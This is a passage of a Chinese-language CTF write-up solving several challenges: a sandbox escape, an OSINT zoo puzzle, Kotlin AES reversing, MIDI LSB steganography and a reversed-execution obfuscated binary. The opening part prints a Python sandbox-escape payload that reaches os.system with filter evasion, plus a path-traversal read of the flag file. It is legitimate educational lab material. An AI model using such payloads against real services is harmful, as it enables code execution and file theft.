发现里面是个cat指令,用其查看flag:../../../../flag

发现返回了flag的上半段:flag{h3y-h@Ve-y0U_eV3r,接着寻找下半段:

1
>> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('find . -type f -size -30c')

发现了./tmp/.flag

查看:

1
>> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('cat /./tmp/.flag')

得到下半段:_533n-lncEpT10N61e11d}

拼合得到flag:flag{h3y-h@Ve-y0U_eV3r_533n-lncEpT10N61e11d}.

猜猜在哪:

图片显示是一个动物园,语言是捷克语,右上角有一个LESY字样的logo,搜索lesy zoo搜到了页面,是一个微型动物园,用Zookoutek Kunraticez作为密码,成功解压,但是得到的内容却是乱码,提取后得到籯籵籪籰粄籱籪籿籮籨籯籾籷籨籲籷籨籙类籪籰籾籮粆,rot8000得到flag:flag{have_fun_in_Prague}.

kotlin?revenge:

不知道为什么进不去游戏,直接开逆!jadx反编译找到了一个叫aes_iv的class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
public final class aes_iv {
@NotNull
public static final String encrypt = "6d5a46c10a49b801c93098bf5904c1df4e95f800649807ac3b88f96998ad08c223b1b4b5b1c3c94a0da480104f0dd4e7";
@NotNull
public static final String aes_iv = "1234567890abcdef";
@Nullable
public static final Object main(@NotNull Continuation<? super Unit> continuation) {
Object m4065KorgefPpucE$default = KorgeKt.m4065KorgefPpucE$default(null, null, null, null, null, null, null, false, false, null, null, false, null, null, 0, 0, 0, new Size(800, 600), 0, 0, new Size(512, 512), null, null, false, null, null, null, RGBA.m2628boximpl(Colors.INSTANCE.m2312getO1chRk("#2b2b2b")), null, null, null, false, null, false, 0.0d, 0, null, 0.0d, new MainKt$main$2(null), continuation, -135397377, 63, null);
return m4065KorgefPpucE$default == IntrinsicsKt.getCOROUTINE_SUSPENDED() ? m4065KorgefPpucE$default : Unit.INSTANCE;
}
public static /* synthetic */ void controlWithKeyboard$default(Stage stage, ImageDataView imageDataView, HitTestable hitTestable, Key key, Key key2, Key key3, Key key4, int i, Object obj) {
if ((i & 4) != 0) {
key = Key.UP;
}
if ((i & 8) != 0) {
key2 = Key.RIGHT;
}
if ((i & 16) != 0) {
key3 = Key.DOWN;
}
if ((i & 32) != 0) {
key4 = Key.LEFT;
}
controlWithKeyboard(stage, imageDataView, hitTestable, key, key2, key3, key4);
}
public static final void controlWithKeyboard(@NotNull Stage $this$controlWithKeyboard, @NotNull final ImageDataView imageDataView, @NotNull final HitTestable collider, @NotNull final Key up, @NotNull final Key right, @NotNull final Key down, @NotNull final Key left) {
ViewKt.addUpdater($this$controlWithKeyboard, new Function2<Stage, TimeSpan, Unit>() { // from class: MainKt$controlWithKeyboard$1
/* JADX INFO: Access modifiers changed from: package-private */
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
{
super(2);
}
@Override // kotlin.jvm.functions.Function2
public /* bridge */ /* synthetic */ Unit invoke(Stage stage, TimeSpan timeSpan) {
m11invokehMs5a0(stage, timeSpan.m9123unboximpl());
return Unit.INSTANCE;
}
/* JADX WARN: Code restructure failed: missing block: B:20:0x0094, code lost: if ((r18 == 0.0d) == false) goto L24; */
/* renamed from: invoke-hM-s5a0, reason: not valid java name */
/*
Code decompiled incorrectly, please refer to instructions dump.
To view partially-correct code enable 'Show inconsistent code' option in preferences
*/
public final void m11invokehMs5a0(@org.jetbrains.annotations.NotNull korlibs.korge.view.Stage r11, double r12) {
/*
Method dump skipped, instructions count: 335
To view this dump change 'Code comments level' option to 'DEBUG'
*/
throw new UnsupportedOperationException("Method not decompiled: defpackage.MainKt$controlWithKeyboard$1.m11invokehMs5a0(korlibs.korge.view.Stage, double):void");
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public static final void keepChildrenSortedByY(Container $this$keepChildrenSortedByY) {
ViewKt.addUpdater($this$keepChildrenSortedByY, new Function2<Container, TimeSpan, Unit>() { // from class: MainKt$keepChildrenSortedByY$1
@Override // kotlin.jvm.functions.Function2
public /* bridge */ /* synthetic */ Unit invoke(Container container, TimeSpan timeSpan) {
m12invokehMs5a0(container, timeSpan.m9123unboximpl());
return Unit.INSTANCE;
}
/* renamed from: invoke-hM-s5a0, reason: not valid java name */
public final void m12invokehMs5a0(@NotNull Container $this$addUpdater, double it) {
List $this$fastForEach$iv = $this$addUpdater.getChildren();
int n$iv = 0;
while (n$iv < $this$fastForEach$iv.size()) {
int i = n$iv;
n$iv++;
View it2 = $this$fastForEach$iv.get(i);
it2.setZIndex($this$addUpdater.getY());
}
}
});
}
@NotNull
public static final String bytesToHex(@NotNull byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
int length = bytes.length;
for (int i = 0; i < length; i++) {
int v = bytes[i] & 255;
hexChars[i * 2] = "0123456789abcdef".charAt(v >>> 4);
hexChars[(i * 2) + 1] = "0123456789abcdef".charAt(v & 15);
}
return new String(hexChars);
}
@NotNull
public static final String transformKey(@NotNull String originalKey) {
return StringsKt.dropLast(StringsKt.replace$default(originalKey, "a_true_key", "key_is", false, 4, (Object) null), 1) + "_true";
}
}

观察得到了密文的十六进制6d5a46c10a49b801c93098bf5904c1df4e95f800649807ac3b88f96998ad08c223b1b4b5b1c3c94a0da480104f0dd4e7和iv1234567890abcdef,下面还有个密钥转换的函数,提取原密钥中的a_true_key部分替换为key_is_true,查找xref,在第五层的main函数找到引用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
final class fifth$sceneMain$3 extends SuspendLambda implements Function2<MouseEvents, Continuation<? super Unit>, Object> {
int label;
final /* synthetic */ UITextInput $flagInput;
final /* synthetic */ Text $resultText;
/* JADX INFO: Access modifiers changed from: package-private */
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
public fifth$sceneMain$3(UITextInput $flagInput, Text $resultText, Continuation<? super fifth$sceneMain$3> continuation) {
super(2, continuation);
this.$flagInput = $flagInput;
this.$resultText = $resultText;
}
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
@NotNull
public final Continuation<Unit> create(@Nullable Object value, @NotNull Continuation<?> continuation) {
return new fifth$sceneMain$3(this.$flagInput, this.$resultText, continuation);
}
@Override // kotlin.jvm.functions.Function2
@Nullable
public final Object invoke(@NotNull MouseEvents p1, @Nullable Continuation<? super Unit> continuation) {
return ((fifth$sceneMain$3) create(p1, continuation)).invokeSuspend(Unit.INSTANCE);
}
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
@Nullable
public final Object invokeSuspend(@NotNull Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
switch (this.label) {
case 0:
ResultKt.throwOnFailure(obj);
String userInput = StringsKt.trim((CharSequence) this.$flagInput.getText()).toString();
String transformedKey = aes_iv.transformKey("this_a_true_key?");
byte[] key = transformedKey.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(key, "this as java.lang.String).getBytes(charset)");
AES aes = AES.INSTANCE;
byte[] bytes = userInput.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
byte[] encrypted = aes.encryptAes128Cbc(bytes, key);
if (Intrinsics.areEqual(aes_iv.bytesToHex(encrypted), aes_iv.encrypt)) {
this.$resultText.setText("Right!");
} else {
this.$resultText.setText("Incorrect flag");
}
return Unit.INSTANCE;
default:
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
}
}

那么密钥就是this_key_is_true,用AES-CBC解密,得到的flag却含有不可打印字符:flag{this_$9=5#howmaker_will_not_appear},再次查看,发现还有一个AES的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public final class AES {
@NotNull
public static final AES INSTANCE = new AES();
@NotNull
private static final String ALGORITHM = "AES/CBC/PKCS5Padding";
@NotNull
private static final String IV = "1234567890123456";
private AES() {
}
@NotNull
public final byte[] encryptAes128Cbc(@NotNull byte[] plainMessage, @NotNull byte[] cipherKey) {
SecretKeySpec keySpec = new SecretKeySpec(cipherKey, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(CharsetKt.toByteArray$default(IV, null, 0, 0, 7, null));
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(1, keySpec, ivSpec);
byte[] doFinal = cipher.doFinal(plainMessage);
Intrinsics.checkNotNullExpressionValue(doFinal, "cipher.doFinal(plainMessage)");
return doFinal;
}
@NotNull
public final byte[] decryptAes128Cbc(@NotNull byte[] encryptedMessage, @NotNull byte[] cipherKey) {
SecretKeySpec keySpec = new SecretKeySpec(cipherKey, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(CharsetKt.toByteArray$default(IV, null, 0, 0, 7, null));
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(2, keySpec, ivSpec);
byte[] doFinal = cipher.doFinal(encryptedMessage);
Intrinsics.checkNotNullExpressionValue(doFinal, "cipher.doFinal(encryptedMessage)");
return doFinal;
}
}

则真正的iv是1234567890123456,flag:flag{this_time_showmaker_will_not_appear}.

反方向的钟:

题目提示了是midi的LSB隐写,用Python的mido库提取信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import mido

def extract_lsb_from_midi(midi_path):
mid = mido.MidiFile(midi_path)
binary_data = []

for track in mid.tracks:
for msg in track:
if msg.type == 'note_on':
velocity = msg.velocity
lsb = velocity & 1
binary_data.append(str(lsb))

binary_str = ''.join(binary_data)
bytes_list = [int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8)]
m = bytes(bytes_list)
return m

m = extract_lsb_from_midi('E:/CTF/hide.mid')
print(m)

得到输出:

1
b'flag{cAn_y0u_g0_b@ck_to_t3e\x1ftime_wh3n_yOu_l0v3d_me}\x105\x11\xa4\x00\x05\xf4\xb0\x03\xf8\x05h\x00\x00V\xc6\x10\x01\x82\x81 \x10\xd0\x05i@0$\x00T\x08 \x100\xa8\x01P\xc0\xf4(\x0c\x08\x10\x02\x93\x0e``\x14\x04b\x85!\x0b\x10\x06\xc4 \x80\x08\x10\x00@\x15\x8d\x007r\x18\x00\x8c\t@\x02c \x0b\x89\x81\x83\x0c($\xc0\x021\x83\x07\x08\x840\x01 \x00`\x03@\x00\x08@\nJ\x08a\x84\x81!\x00\x11\xb0HX\x00\xc4\x15\x1a\x00\x00*\x00\x82\x80h\xce\x01 C1)@\x00\x08\x88\x0eJ!\x90(\x000#0`\t8\x11\x00(\x10\x04\xf2`\x02Ea\x92\x00EF\x80r\xa0\x10B"\x80\x80\x00\xb2&@F\xd0\x01\xa0\xc0\x10\x80n\x00\x18\x0e\x00\x06\x14\xf4\x84\x00\x00\xc2\x0e@\x11" \x11\x02\xaa\x00\x02\x05I\x00\x00\x04\x80\x00k%\x08\x18\x06\xa0\x01\x90 \x93\x84\x00\x00\x8f\xa1\xa0\x04\xa4(\xc0\x92\x08\x80:J\x92D\x00\x12\xf98\x01\x03T\x1a\t\x00\x06\x10\x06\x81\x13\x80\xa0\x00$\x80\x12\x04Q\x10\x01@\xc2\xd9\x11\x00\x10@\x00\xc1\x01\x8c\xd0\x81\x8c\x00\x84\x05\x00\x04\x14\x80kD\xc8\xd0c1\xc0\x08 \x00@\x00\x06\xc90\x00<\x02P\x02\x08\xe1\x03`\x00\x9bU@\x18\x00-\x8e\x08\x02\x8d\xd4X[\x14\xb4\x80\x00h\xd0\\\x00Y`\t\x93\xab\xa8\x00\x04l\x03@\x13\\\x00l4\x04\x06\n\x12\x05\x04\x04u\xa0\x00\x80\x00\x06A\x04x\x058 \x06PE\x00\x0b\x91\xe4 \x08\x0c\x10\x80\x80\x00\x19\x03\x80`\x032\x002\x84\x1d$\x04\x00 L$\x08\x88\x11\xa2\xc6\x82\x04\x00\x07E\x16\x03\xc0\x1c \x95\x00\x84j\x80\x08\xd1\x00\x0c8A\x8b\x00\x03q\x12\x00\x16\x14\x01\n"\xa0\x12\x80\x00\x940\x00\tx\x01\x0c\x08\x13\xa8@\x00\x1a\x98\x80\x04\x8e\x81@\x1c\x84\x06\x98\x900\x00\x10\x000)\x00\x03\\\x10\x00"\x80\xa1\x04(\x04\x04\xef  \x00\x02C@\x05@\xa2f\x04`\x00\x10\x11@P\x00\x03\x06\x00\x00|p\x01\x16\x02\x01 \x02\x83\x00\x00\xbe \x80%\x99\x11\x89\x16\x80\xc0\x00\x07!\x00\x00\x84\xa6\x00\x07\x03DD\xc1\x81\x81\t!\x00\x00`\xc1\x00\x10\x84\x15P\x8aF\x00\x06Edt\x00\x16\x10\x0b"\x14\x92H\x08\x00/\xad\x80\x00\x00B\xa0 \x01\x15F\x00\x07\x8e$D\x88\x01\x82\xc0Z\x80\xf0#@\x99A\x84\x9a\x00w\xc5\x02Y\x00\x10d\x04\x10\x008\n\x80\x99\x00\xd1\x00\x05\x18\xe3 5\x1c\xa8\x01\x10\x81\x04\x00\x19\x01\xc7\x08\r\x19\x82\xa5\x00\x11@z$\x90\x01\x04\x0e%\x00D\x00\x8e\xa8RH\x00\xe1P\\t\xa0\x02t\x0e\x81\x06\x02 \x04\x1b\xa1\x12\xd5(<\x80\x00\x00'

发现前几十个字节就是flag:flag{cAn_y0u_g0_b@ck_to_t3e\x1ftime_wh3n_yOu_l0v3d_me},但这里中间有一个不可打印字符,猜测本来应该是下划线,得到flag:flag{cAn_y0u_g0_b@ck_to_t3e_time_wh3n_yOu_l0v3d_me}.

Reverse方向:

esrever:

用ida反编译后发现main函数和start函数都比较诡异,且程序中还有大量的无法构成函数的代码段,在汇编界面查看发现main函数只有短短几行汇编,这肯定是不正确的,将所有函数取消定义后只转成汇编指令,发现在loc_1312的上面还有一些本应该出现在main中的指令,仔细观察后推断该程序的逻辑应该如其名一样,是倒着执行的,例如在开始的start附近的代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00000000000012C8 loc_12C8:                               ; CODE XREF: .text:00000000000012B9↑j
.text:00000000000012C8 mov rdx, rbx
.text:00000000000012CB cmp cs:byte_4080, 0
.text:00000000000012D2 jz loc_115D
.text:00000000000012D8 test al, al
.text:00000000000012DA call loc_14FE
.text:00000000000012DF mov rdi, rbx
.text:00000000000012E2 call ___isoc23_scanf ;读取输入
.text:00000000000012E7 mov rsi, rbx
.text:00000000000012EA xor eax, eax
.text:00000000000012EC lea rdi, aS ; "%s" ;准备读取输入
.text:00000000000012F3 call _printf ;输出已经加载好的字符串
.text:00000000000012F8 sub rsp, 100h
.text:00000000000012FF lea rbx, byte_4080
.text:0000000000001306 xor eax, eax
.text:0000000000001308 lea rdi, aInputYourFlag ; "Input your flag:" ;加载要输出的字符串
.text:000000000000130F push rbx
.text:0000000000001310 inc edi
.text:0000000000001312
.text:0000000000001312 ; int loc_1312(int, char **, char **)
.text:0000000000001312 loc_1312: ; DATA XREF: .text:0000000000001334↓o
.text:0000000000001312 mov al, 4
.text:0000000000001314 db 2Eh
.text:0000000000001314 nop word ptr [rax+rax+00000000h]
.text:000000000000131E xchg ax, ax
.text:0000000000001320
.text:0000000000001320 public start
.text:0000000000001320 start: ; DATA XREF: LOAD:0000000000000018↑o
.text:0000000000001320 ; __unwind {
.text:0000000000001320 xor ebp, ebp
.text:0000000000001322 mov r9, rdx
.text:0000000000001325 pop rsi
.text:0000000000001326 mov rdx, rsp
.text:0000000000001329 and rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000000132D push rax
.text:000000000000132E push rsp
.text:000000000000132F xor r8d, r8d
.text:0000000000001332 xor ecx, ecx
.text:0000000000001334 lea rdi, loc_1312
.text:000000000000133B call cs:off_3FC0 ;libc_start_main
.text:0000000000001341 hlt
.text:0000000000001341 ; } // starts at 1320
.text:0000000000001341 ; ---------------------------------------------------------------------------

这里能很明显的观察到,在loc_1312的上方代码块中,从下到上才是正确的main函数执行逻辑,启动调试,忽略所有的信号,直接让程序跑到loc_1312的上方,观察程序逻辑,发现汇编指令确实是倒着运行的,大致运行逻辑为:

1
2
printf("Input your flag:");
scanf("%s");

之后call了一个代码块,也是倒着运行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000638E6BC424B8
.text:0000638E6BC424B8 loc_638E6BC424B8: ; CODE XREF: .text:0000638E6BC424BC↓j
.text:0000638E6BC424B8 ; .text:0000638E6BC424CA↓j ...
.text:0000638E6BC424B8 cmp byte ptr [rbx+17h], 7Dh ; '}'
.text:0000638E6BC424BC jnz short loc_638E6BC424B8
.text:0000638E6BC424BE cmp eax, 17h
.text:0000638E6BC424C1 call _strlen
.text:0000638E6BC424C6 lea rdi, [rdi+1]
.text:0000638E6BC424CA jnz short loc_638E6BC424B8
.text:0000638E6BC424CC cmp byte ptr [rdi+4], 7Bh ; '{'
.text:0000638E6BC424D0 jnz short loc_638E6BC424B8
.text:0000638E6BC424D2 cmp byte ptr [rdi+3], 67h ; 'g'
.text:0000638E6BC424D6 jnz short loc_638E6BC424B8
.text:0000638E6BC424D8 cmp byte ptr [rdi+2], 61h ; 'a'
.text:0000638E6BC424DC jnz short loc_638E6BC424B8
.text:0000638E6BC424DE cmp byte ptr [rdi+1], 6Ch ; 'l'
.text:0000638E6BC424E2 jnz short loc_638E6BC424B8
.text:0000638E6BC424E4 mov rbx, rdi
.text:0000638E6BC424E7 cmp byte ptr [rdi], 66h ; 'f'
.text:0000638E6BC424EA xor ebp, ebp
.text:0000638E6BC424EC jz short loc_638E6BC424AC
.text:0000638E6BC424EE test rdi, rdi
.text:0000638E6BC424F1 sub rsp, 8
.text:0000638E6BC424F5 push rbx
.text:0000638E6BC424F6 push rbp
.text:0000638E6BC424F7 vfnmadd213sd xmm7, xmm0, qword ptr [rsp+28h]

这个代码块主要比较了flag的格式,得知flag长度为0x18(24),然后又回到main,跳转到下一个正向执行的代码块,在最后的jnz并未跳转之后继续向下执行,不久就卡死并退出了,尝试分析其他能正常反编译的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void sub_10A0()
{
unsigned __int64 v0; // kr00_8

v0 = __getcallerseflags();
__writeeflags(v0 ^ 0x100); //修改了EFLAGS,触发SIGTRAP,干扰调试
}

int sub_10B0()
{
int result; // eax
unsigned __int64 v1; // kr00_8
struct sigaction v2; // [rsp+8h] [rbp-A8h] BYREF

memset(&v2.sa_mask, 0, 0x90uLL);
v2.sa_flags = 4;
v2.sa_handler = (__sighandler_t)sub_1410; //信号SIGTRAP的处理函数
result = sigaction(5, &v2, 0LL);
if ( result < 0 )
abort();
v1 = __readeflags();
__writeeflags(v1 ^ 0x100); //同上
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 __fastcall sub_1410(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int64 v3; // rsi
unsigned __int64 result; // rax
__int64 v6; // rdx
unsigned __int64 v7; // rsi
unsigned __int64 v8; // rdx
__int64 v9; // rdi
unsigned __int64 v10; // rax
char v11; // cl

v3 = *(_QWORD *)(a3 + 168);
result = (unsigned __int64)&unk_1098;
if ( v3 >= (unsigned __int64)&unk_1098 && v3 < (unsigned __int64)term_proc ) //如果rip在.text区段内
{
v6 = v3 - (_QWORD)&unk_1098;
result = (unsigned int)byte_2040[(v3 - (unsigned __int64)&unk_1098) >> 3];
if ( _bittest((const int *)&result, ((_BYTE)v3 - (unsigned __int8)&unk_1098) & 7) )
{
v7 = v3 - 1;
v8 = v6 - 1;
v9 = 0LL;
do
{
v10 = v8;
v11 = v8--;
v9 += (byte_2040[v10 >> 3] >> (v11 & 7)) & 1; //byte_2040用于存储跳转规则,这里计算了要逆向的步数
result = v7--;
}
while ( v9 != 2 );
*(_QWORD *)(a3 + 168) = result; //修改rip返回地址
}
}
return result;
}

推测这几个能正常编译的函数控制了整个程序其他部分代码的执行顺序,就像一个逻辑分发器,每条汇编指令都由这个分发器判断下一条的地址,而非顺序执行,整个程序的.text区段从0x10A0起始,先是两个逻辑支撑函数sub10A0和sub10B0,紧跟着的就是main的倒置汇编指令,接着是start函数(地址0x1320)和几个其他函数,然后是用于处理信号和计算返回地址的sub1410,跟着又是一段倒置的汇编指令,判断了flag的基本结构(flag{和}以及24字节的长度),再之后就是sub14FE以及一大串倒置的汇编指令(推测是加密函数的倒置),对main以及其他被混淆的函数进行倒置重排,分析出程序的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
.text:000000000000131E                 xchg    ax, ax.text:0000000000001314                 nop     word ptr [rax+rax+00000000h]
.text:0000000000001314 db 2Eh
.text:0000000000001312 mov al, 4
.text:0000000000001312 loc_1312: ; DATA XREF: start+14↓o
.text:0000000000001312
.text:0000000000001310 inc edi
.text:000000000000130F push rbx
.text:0000000000001308 lea rdi, aInputYourFlag ; "Input your flag:" ;加载字符串
.text:0000000000001306 xor eax, eax
.text:00000000000012FF lea rbx, byte_4080
.text:00000000000012F8 sub rsp, 100h
.text:00000000000012F3 call _printf ;打印字符串
.text:00000000000012EC lea rdi, aS ; "%s" ;加载读取输入
.text:00000000000012EA xor eax, eax
.text:00000000000012E7 mov rsi, rbx
.text:00000000000012E2 call ___isoc23_scanf ;读取输入
.text:00000000000012DF mov rdi, rbx
.text:00000000000012DA call sub_14FE ;flag格式验证函数
——————————————————————————————————————————————————————————————————————————————————————
.text:0000000000001512 lea rax, [rdi-1]
.text:0000000000001512 ; ---------------------------------------------------------------------------
.text:0000000000001510 jmp short loc_151F
.text:000000000000150D nop dword ptr [rax]
.text:0000000000001502 nop word ptr [rax+rax+00000000h]
.text:0000000000001502 db 66h, 66h, 2Eh
.text:00000000000014FE vxorpd xmm0, xmm0, xmm0.text:00000000000014FE loc_14FE: ; CODE XREF: .text:00000000000012DA↑p
.text:00000000000014FE
.text:00000000000014F7 vfnmadd213sd xmm7, xmm0, qword ptr [rsp+28h]
.text:00000000000014F6 push rbp
.text:00000000000014F5 push rbx
.text:00000000000014F1 sub rsp, 8
.text:00000000000014EE test rdi, rdi
.text:00000000000014EC jz short loc_14AC
.text:00000000000014EA xor ebp, ebp
.text:00000000000014E7 cmp byte ptr [rdi], 66h ; 'f' ;比较 flag{ 头
.text:00000000000014E4 mov rbx, rdi
.text:00000000000014E2 jnz short loc_14B8
.text:00000000000014DE cmp byte ptr [rdi+1], 6Ch ; 'l'
.text:00000000000014DC jnz short loc_14B8
.text:00000000000014D8 cmp byte ptr [rdi+2], 61h ; 'a'
.text:00000000000014D6 jnz short loc_14B8
.text:00000000000014D2 cmp byte ptr [rdi+3], 67h ; 'g'
.text:00000000000014D0 jnz short loc_14B8
.text:00000000000014CC cmp byte ptr [rdi+4], 7Bh ; '{'
.text:00000000000014CA jnz short loc_14B8
.text:00000000000014C6 lea rdi, [rdi+1]
.text:00000000000014C1 call _strlen
.text:00000000000014BE cmp eax, 17h ;比较字符串长度是否为23字节
.text:00000000000014BC jnz short loc_14B8
.text:00000000000014B8 cmp byte ptr [rbx+17h], 7Dh ; '}' ;比较第24字节是否为flag尾 }
.text:00000000000014B8 ; .text:00000000000014CA↓j ...
.text:00000000000014B8 loc_14B8: ; CODE XREF: .text:00000000000014BC↓j
.text:00000000000014B8
.text:00000000000014B4 setz bpl
.text:00000000000014B0 add rsp, 8
.text:00000000000014AE mov eax, ebp
.text:00000000000014AD pop rbx
.text:00000000000014AC pop rbp
.text:00000000000014AC loc_14AC: ; CODE XREF: .text:00000000000014EC↓j
.text:00000000000014AC
.text:00000000000014AC ; ---------------------------------------------------------------------------
.text:00000000000014AB retn
.text:00000000000014A9 xor ebp, ebp
.text:00000000000014A5 add rsp, 8
.text:00000000000014A3 mov eax, ebp
.text:00000000000014A2 pop rbx
.text:00000000000014A1 pop rbp
.text:00000000000014A1 ; ---------------------------------------------------------------------------
.text:00000000000014A0 retn
——————————————————————————————————————————————————————————————————————————————————————
.text:00000000000012D8 test al, al ;如果符合格式则不为零
.text:00000000000012D2 jz loc_115D ;符合格式则不跳转
.text:00000000000012CB cmp cs:byte_4080, 0 ;检测输入的字符串是否为空
.text:00000000000012C8 mov rdx, rbx
.text:00000000000012C8 loc_12C8: ; CODE XREF: .text:00000000000012B9↑j
.text:00000000000012C8
.text:00000000000012C6 jz short loc_125F ;如果为空则跳转
.text:00000000000012C3 mov rax, rdx
.text:00000000000012BF lea rdx, [rdx+1]
.text:00000000000012BB cmp byte ptr [rax+1], 0
.text:00000000000012B9 jnz short loc_12C8
.text:00000000000012B6 cmp rbx, rax
.text:00000000000012B0 jnb loc_111E
.text:00000000000012B0 loc_12B0: ; CODE XREF: .text:000000000000128F↑j
.text:00000000000012B0
.text:00000000000012A9 lea rdx, byte_4080 ;把输入的字符串倒过来,比如输入123456
.text:00000000000012A6 movzx ecx, byte ptr [rdx] ;倒序转换后就是654321
.text:00000000000012A3 movzx esi, byte ptr [rax]
.text:000000000000129F add rdx, 1
.text:000000000000129B sub rax, 1
.text:0000000000001297 mov [rdx-1], sil
.text:0000000000001294 mov [rax+1], cl
.text:0000000000001291 cmp rdx, rax
.text:000000000000128F jb short loc_12B0
.text:0000000000001288 movzx ecx, cs:byte_4080
.text:0000000000001286 test cl, cl ;检测变换完成后的字符串是否为空
.text:0000000000001286 loc_1286: ; CODE XREF: .text:0000000000001110↑j
.text:0000000000001286
.text:0000000000001284 jz short loc_125F ;为空则跳转
.text:000000000000127D lea rax, byte_4080
.text:000000000000127D loc_127D: ; CODE XREF: .text:000000000000125D↑j
.text:000000000000127D
.text:000000000000127D ; ---------------------------------------------------------------------------
.text:000000000000127B jmp short loc_126E
.text:0000000000001278 mov [rax], dx
.text:0000000000001274 movzx ecx, byte ptr [rax+2]
.text:0000000000001270 add rax, 2
.text:000000000000126E test cl, cl
.text:000000000000126E loc_126E: ; CODE XREF: .text:000000000000127B↓j
.text:000000000000126E
.text:000000000000126C jz short loc_125F
.text:0000000000001268 movzx esi, byte ptr [rax+1]
.text:0000000000001264 movzx edx, sil ;将输入的字符串字节两两组合成为一个word
.text:0000000000001262 mov dh, cl ;比如倒序后是654321,这里就变成56 34 12
.text:000000000000125F test sil, sil
.text:000000000000125F ; .text:0000000000001284↓j ...
.text:000000000000125F loc_125F: ; CODE XREF: .text:000000000000126C↓j
.text:000000000000125F
.text:000000000000125D jnz short loc_127D
.text:0000000000001255 movdqa xmm0, cs:xmmword_2170 ;加载0~255的ASCII字符集
.text:0000000000001252 mov rsi, rsp
.text:000000000000124F mov rdi, rbx
.text:000000000000124B movaps xmmword ptr [rsp], xmm0
.text:0000000000001243 movdqa xmm0, cs:xmmword_2180
.text:000000000000123E movaps xmmword ptr [rsp+10h], xmm0
.text:0000000000001236 movdqa xmm0, cs:xmmword_2190
.text:0000000000001231 movaps xmmword ptr [rsp+20h], xmm0
.text:0000000000001229 movdqa xmm0, cs:xmmword_21A0
.text:0000000000001224 movaps xmmword ptr [rsp+30h], xmm0
.text:000000000000121C movdqa xmm0, cs:xmmword_21B0
.text:0000000000001217 movaps xmmword ptr [rsp+40h], xmm0
.text:000000000000120F movdqa xmm0, cs:xmmword_21C0
.text:000000000000120A movaps xmmword ptr [rsp+50h], xmm0
.text:0000000000001202 movdqa xmm0, cs:xmmword_21D0
.text:00000000000011FD movaps xmmword ptr [rsp+60h], xmm0
.text:00000000000011F5 movdqa xmm0, cs:xmmword_21E0
.text:00000000000011F0 movaps xmmword ptr [rsp+70h], xmm0
.text:00000000000011E8 movdqa xmm0, cs:xmmword_21F0
.text:00000000000011E0 movaps xmmword ptr [rsp+80h], xmm0
.text:00000000000011D8 movdqa xmm0, cs:xmmword_2200
.text:00000000000011D0 movaps xmmword ptr [rsp+90h], xmm0
.text:00000000000011C8 movdqa xmm0, cs:xmmword_2210
.text:00000000000011C0 movaps xmmword ptr [rsp+0A0h], xmm0
.text:00000000000011B8 movdqa xmm0, cs:xmmword_2220
.text:00000000000011B0 movaps xmmword ptr [rsp+0B0h], xmm0
.text:00000000000011A8 movdqa xmm0, cs:xmmword_2230
.text:00000000000011A0 movaps xmmword ptr [rsp+0C0h], xmm0
.text:0000000000001198 movdqa xmm0, cs:xmmword_2240
.text:0000000000001190 movaps xmmword ptr [rsp+0D0h], xmm0
.text:0000000000001188 movdqa xmm0, cs:xmmword_2250
.text:0000000000001180 movaps xmmword ptr [rsp+0E0h], xmm0
.text:0000000000001178 movdqa xmm0, cs:xmmword_2260
.text:0000000000001170 movaps xmmword ptr [rsp+0F0h], xmm0
.text:000000000000116B call loc_188E ;关键加密函数loc_188E
